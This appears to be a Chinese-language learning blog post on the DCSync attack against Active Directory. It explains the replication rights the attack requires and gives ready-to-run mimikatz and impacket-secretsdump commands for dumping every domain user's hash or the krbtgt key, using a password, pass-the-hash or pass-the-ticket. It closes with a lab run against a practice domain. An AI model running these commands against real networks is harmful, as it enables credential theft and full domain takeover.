DCSync

说在前面

今天来记录一下新人学习域必经之路,DCSync攻击,最初我了解到这个攻击是去年,但是一直不是特别清楚,最近开始学习域慢慢懂的,这个攻击的简单暴力

Theory

DCSync 是一种利用 Windows 域控制器 API 模拟远程域控制器复制过程的技术。与卷影拷贝攻击类似,但是实际操作不同,这个更加简单粗暴的拿下域控。

本攻击需要两个权限即可,所以常见的更高权限(其中有这两个权限)的当然也可以进行这个攻击,DS-Replication-Get-ChangesDS-Replication-Get-Changes-All权限。属于 Administrators、Domain Admins、Enterprise Admins 和 Domain Controllers 组的成员默认具有这些权限。

在某些情况下,过度权限的账户可以被滥用以授予受控对象 DCSync 的权利。比如说有WriteDacl权限的用户可控,且能够滥用到域之后,就可以直接给用户赋予需要的权限。

Practice

Windows

最常用的那肯定是我们的小猕猴桃啦,那是直接一条命令就可以解决。

1
2
# Dump everything (printed in a short and readable format)
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv

直接dump出所有域用户的hash,其次,对于金票攻击,我们也可以利用猕猴桃提取krbtgt 密钥

1
2
# Extract a specific user, in this case the krbtgt
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt

linux

利用secretsdump,可用的用户凭据为三种,用户名密码、NTHash、已经伪造到有权限的用户的银票

1
2
3
4
5
6
7
8
9
# using a plaintext password
impacket-secretsdump -outputfile 'something' 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'

# with Pass-the-Hash
impacket-secretsdump -outputfile 'something' -hashes 'LMhash':'NThash' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

# with Pass-the-Ticket
export KRB5CCNAME=/tmp/administrator.ccache
impacket-secretsdump -k -outputfile 'something' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'

RW Practice

猕猴桃太EZ了,所以我想使用Unix-like的这种形式来练习一下,已经获得了一个域用户XIAORANG-WIN7.XIAORANG.LAB的NTHash为2862b10012cdc7808a71a1376f452803,域控制器在172.22.1.2

1
impacket-secretsdump -hashes :'2862b10012cdc7808a71a1376f452803' 'xiaorang.lab'/'XIAORANG-WIN7$'@'172.22.1.2'

成功拿到所有域用户Hash